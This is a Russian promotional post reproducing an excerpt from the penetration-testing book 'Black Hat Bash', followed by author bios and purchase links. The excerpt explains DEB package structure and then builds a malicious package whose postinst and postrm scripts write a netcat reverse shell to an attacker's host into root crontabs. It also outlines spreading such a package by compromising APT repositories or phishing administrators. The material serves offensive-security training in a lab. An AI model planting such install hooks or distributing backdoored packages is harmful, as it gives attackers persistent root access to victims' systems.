
Привет, Хаброжители! Я хочу рассказать вам о новинке издательства Spint Book.
Дистрибуция вредоносных пакетов
В системах Linux используются такие установщики пакетов, как DEB (Debian) и RPM, в зависимости от дистрибутива. Эти установщики интересны тем, что позволяют упаковать собственные файлы, и, если вам удастся убедить кого-то установить разработанный вами вредоносный пакет, вы сможете встроить бэкдор в целевую систему. В следующих разделах мы рассмотрим систему упаковки DEB, а затем создадим пакеты, содержащие вредоносный код.
Обратите внимание: при установке ПО в Linux по умолчанию требуются root-привилегии; обычный пользователь не может выполнять команды, такие как dpkg -i имя_пакета или rpm -i имя_пакета, если только ему явно не предоставлены повышенные права на данные утилиты.
Устройство DEB-пакетов
DEB-пакеты используются в дистрибутиве Debian и его производных, таких как Ubuntu. DEB-пакеты — это файлы в формате ar (от слова archive), которые содержат три компонента: debian-binary, control и data.
Первый — debian-binary — текстовый файл с номером версии пакета, например 2.0. Второй — control — сжатый файл, в котором хранятся скрипты и метаданные. Архив data содержит файлы, которые должен установить пакет (например, страницы руководства по программе или дополнительные исполняемые файлы).
Давайте изучим пример пакета перед тем, как собирать собственный. Скачайте пример DEB-пакета example_amd64.deb. Затем выполните команду dpkg --info, чтобы посмотреть информацию о пакете:
$ dpkg --info example_amd64.deb new Debian package, version 2.0. size 784 bytes: control archive=420 bytes. 168 bytes, 6 lines control 79 bytes, 3 lines * postinst #!/bin/bash Package: example Version: 1.0.0 Maintainer: Black Hat Bash (info@blackhatbash.com) Description: My awesome package Homepage: https://blackhatbash.com Architecture: all
Далее выполните команду strings для просмотра содержимого пакета. Вы увидите три файла, о которых мы говорили:
$ strings example_amd64.deb !<arch> debian-binary 1694828481 0 0 100644 4 control.tar.xz 1694828481 0 0 100644 420 YZdata.tar.xz 1694828481 0 0 100644 172 --пропуск--
Наконец, установите пакет, чтобы посмотреть его функционал. Это можно сделать на любой тестовой машине или узле Kali:
$ sudo dpkg -i example_amd64.deb Selecting previously unselected package example. (Reading database ... 423743 files and directories currently installed.) Preparing to unpack example_amd64.deb ... Unpacking example (1.0.0) ... Setting up example (1.0.0) ... I don't do anything other than echoing this to the screen!
Как видите, пакет не делает ничего особенного — лишь выводит сообщение на экран. Своего рода «Hello, world!» в мире DEB-пакетов.
Чтобы извлечь содержимое файла .deb, используйте команду ar:
$ ar -v -x example_amd64.db x - debian-binary x - control.tar.xz x - data.tar.xz
Флаг v включает режим детализированного вывода, x (от слова eXtraction) отвечает за извлечение, а флаг f принимает имя файла. Чтобы дополнительно распаковать файлы control.tar.xz и data.tar.xz, можно воспользоваться командой tar с ключами -x, -v и -f (от слова file):
$ tar -xvf control.tar.xz $ tar -xvf data.tar.xz
DEB-пакеты могут содержать скрипты нескольких типов. Нас интересуют скрипты установки и удаления. Скрипты установки выполняются в процессе установки пакета. Сюда входят скрипты preinst и postinst, которые запускаются до и после установки пакета соответственно. Эти скрипты могут выполнять любые задачи, например создание каталогов, назначение прав и копирование файлов.
Скрипты удаления отвечают за очистку: удаляют файлы или останавливают службы. Сюда входят скрипты prerm, которые запускаются до окончательного удаления пакета и могут стирать символические ссылки или файлы, связанные с пакетом, и скрипты postrm, которые убирают оставшиеся файлы после удаления пакета. Подумайте, каким образом в такие скрипты можно встроить вредоносный код.
Создание безобидного пакета
Давайте попрактикуемся с созданием пакетов и соберем свой простой, «безобидный» пакет. На машине с Kali создайте каталог example, а внутри него — подкаталог DEBIAN:
$ mkdir /tmp/example && cd /tmp/example $ mkdir DEBIAN
В каталоге DEBIAN создайте файл control, добавьте в него показанную ниже метаинформацию о пакете и сохраните:
Package: example Version: 1.0.0 Maintainer: Your Name Description: Example Homepage: https://nostarch.com Architecture: all
Теперь соберите пакет с помощью команды dpkg -b (от слова build). Первый аргумент после -b — это имя каталога, в котором находятся файлы для упаковки, а второй — имя создаваемого файла пакета:
$ dpkg -b example example_amd64.deb $ ls -l drwxr-xr-x 3 kali kali 4096 Sep 17 20:33 example -rw-r--r-- 1 kali kali 684 Sep 17 21:22 example_amd64.deb
После этого можно установить пакет командой sudo dpkg -i имя_пакета и удалить его с помощью команды sudo dpkg -r имя_пакета.
Преобразование форматов пакетов с помощью утилиты alien
В разных дистрибутивах Linux используются разные форматы пакетов. Вы можете преобразовывать пакеты из одного формата в другой (например, из RPM в DEB и наоборот) с помощью утилиты alien. В Kali эта программа обычно установлена по умолчанию, но если ее нет, воспользуйтесь командой sudo apt install alien.
В следующем примере DEB-пакет преобразуется в RPM-формат:
$ sudo alien -v -r bksh_amd64.deb --scripts dpkg-deb --info 'bksh_amd64.deb' control 2>/dev/null --пропуск-- dpkg-deb --info 'bksh_amd64.deb' preinst 2>/dev/null dpkg-deb --info 'bksh_amd64.deb' prerm 2>/dev/null mkdir bksh-1.0.0 chmod 755 bksh-1.0.0 --пропуск-- bksh-1.0.0-2.noarch.rpm generated
Здесь используются аргументы -v (подробный вывод), -r (преобразование в формат RPM) и --scripts (включает ранее созданные скрипты preinst и postinst). Чтобы преобразовать пакет обратно из RPM в DEB, достаточно заменить флаг -r на -d.
Упражнение 22. Установка вредоносного пакета
Чтобы закрепиться в системе, нам нужно установить в нее вредоносный пакет. Это можно провернуть несколькими способами:
скомпрометировав центральный репозиторий программного обеспечения, например локальный репозиторий APT;
скомпрометировав учетную запись пользователя, которому разрешено устанавливать пакеты;
отправив вредоносный пакет системным администраторам в рамках фишинговой кампании.
Репозиторий APT, упомянутый в первом сценарии, — это веб-сервер, который распространяет пакеты DEB по протоколу HTTP. Узлы в сети — другие серверы или рабочие станции — могут подключаться к нему, чтобы загружать и устанавливать пакеты в свои операционные системы. Подобная схема часто применяется в изолированных или закрытых сетях, не имеющих подключения к Интернету, и обеспечивает внутренним системам централизованный и доверенный источник ПО.
Давайте создадим DEB-пакет, содержащий вредоносный код в рамках одного из приведенных выше скриптов. В частности, в примере используются скрипты postinst и postrm для развертывания и закрепления обратной оболочки. Назовите пакет bksh (от слов backdoor shell) и создайте файл control, как ранее обсуждалось в подразделе «Создание безобидного пакета». Затем создайте файлы скриптов postinst и postrm в каталоге DEBIAN и присвойте им соответствующие права на выполнение.
$ touch postinst postrm $ chmod 775 postinst postrm
Структура каталогов должна выглядеть примерно так:
$ tree bksh

Напишите в скрипте postinst bash-код, реализующий/запускающий обратную оболочку. Например, скрипт из листинга 10.9 обращается к машине Kali, используя системный файл /etc/crontab планировщика.
Листинг 10.9. Обратная оболочка, реализуемая с помощью файла /etc/crontab
#!/bin/bash if ! grep -q "4444" /etc/crontab; then echo "* * * * * root nc 172.16.10.1 4444 -e /bin/bash" >> /etc/crontab fi
Когда пакет устанавливается впервые, в файл /etc/crontab вносится соответствующая строка, задающая периодическое выполнение задачи. Пакет может установить администратор или любой другой пользователь, имеющий на это права (например, с помощью команды dpkg). Чтобы убедиться, что запись вносится однократно, мы используем команду grep, которая проверяет наличие в файле строки 4444.
В скрипт postrm добавляется код, который создает пользовательскую задачу Cron при удалении пакета. Такая задача выполняется от имени того пользователя, который удалил пакет, а не как системное задание:
#!/bin/bash if ! grep -q "4444" /var/spool/cron/crontabs/root 2> /dev/null; then echo "* * * * * nc 172.16.10.1 4444 -e /bin/bash" | crontab - -u root fi
Второй скрипт пригодится на случай, если пакет будет удален из системы.
Можно дополнить упражнение другими способами закрепления в системе. Например, написать небольшую веб-оболочку в файл в системе, если она показывает признаки работы веб-сервера и имеет стандартные веб-каталоги, такие как /var/www/html.
Чтобы протестировать пакет, соберите его и запустите на своей машине Kali программу Netcat в режиме прослушивания, чтобы принять входящее (обратное) соединение от тестируемой системы. Затем скопируйте пакет на тестируемый узел, например p-jumpbox-01 (172.16.10.13), и установите его от имени root-пользователя:
# dpkg -i bksh_amd64.deb
Далее проверьте, что в файле /etc/crontab появилась строка с задачей Cron, запускающей обратную оболочку:
$ grep 4444 /etc/crontab
Примерно через минуту вы должны увидеть входящее соединение обратной оболочки к вашему Netcat-слушателю на Kali. Чтобы протестировать скрипт postrm, удалите пакет на узле p-jumpbox-01, после чего проанализируйте список задач Cron root-пользователя на наличие соответствующей записи.
Резюме
В этой главе вы узнали о нескольких способах закрепления в скомпрометированной системе с помощью bash. Мы обсудили внедрение вредоносной логики в PAM-модули, системные профили, текстовые редакторы и фальшивые утилиты. Кроме того, вы научились использовать служебные учетные записи, добавлять несанкционированные SSH-ключи и упаковывать вредоносный код в DEB-пакеты.
Об авторах:
Долев Фархи
специалист в области информационной безопасности (ИБ) и соавтор книги Black Hat GraphQL. У него обширный опыт руководства командами специалистов ИБ в сфере финансовых технологий и кибербезопасности. В настоящее время Долев занимает должность ведущего специалиста по информационной безопасности в крупнейшей в мире компании в области кибербезопасности — Palo Alto Networks. За его плечами — опыт обучения по официальным программам сертификации Linux. В свободное время он исследует уязвимости в устройствах Интернета вещей (IoT) и разрабатывает инструменты с открытым исходным кодом для проактивной защиты.
Ник Алекс
признанный эксперт в области кибербезопасности. Он внес значительный вклад в защиту финансовых данных миллионов канадцев. Ник занимает должность старшего директора по информационной безопасности в компании Wealthsimple. Ранее был ведущим специалистом ИБ в TD Bank, где получил патенты на свои разработки. Ник также руководит направлением по изучению методов взлома в компании ASEC и является соавтором книги Black Hat GraphQL. Кроме того, он входит в консультативный совет по программам кибербезопасности в Университете Гуэлфа и Колледже Джорджа Брауна. Более десяти лет занимается взломом — от веб-сайтов, сейфов и замков до автомобилей, дронов и «умных» зданий.
О научном редакторе русскоязычного издания:
Татьяна Квист
специалист по информационной безопасности и разработчик с опытом работы в академической и прикладной среде. Автор научных публикаций по криптографическому алгоритму RSA, микросервисной архитектуре и схеме разделения секрета Шамира, а также соавтор зарегистрированного программного обеспечения, созданного для обучения методам защиты данных.
С 2020 года занимается образовательной и редакторской деятельностью в области информационной безопасности: разрабатывает учебные материалы, готовит практические задания для CTF-соревнований и читает открытые лекции по криптографии и прикладной защите информации.
В книге Black Hat Bash отвечала за научную редактуру перевода, включая проверку корректности терминологии, точности описания команд и сценариев, а также соответствия изложенных техник практике работы в Bash и Unix-среде.
Приобрести книгу «Black Hat Bash. Нестандартные решения для хакеров и пентестеров» можно на Wildberries и Ozon.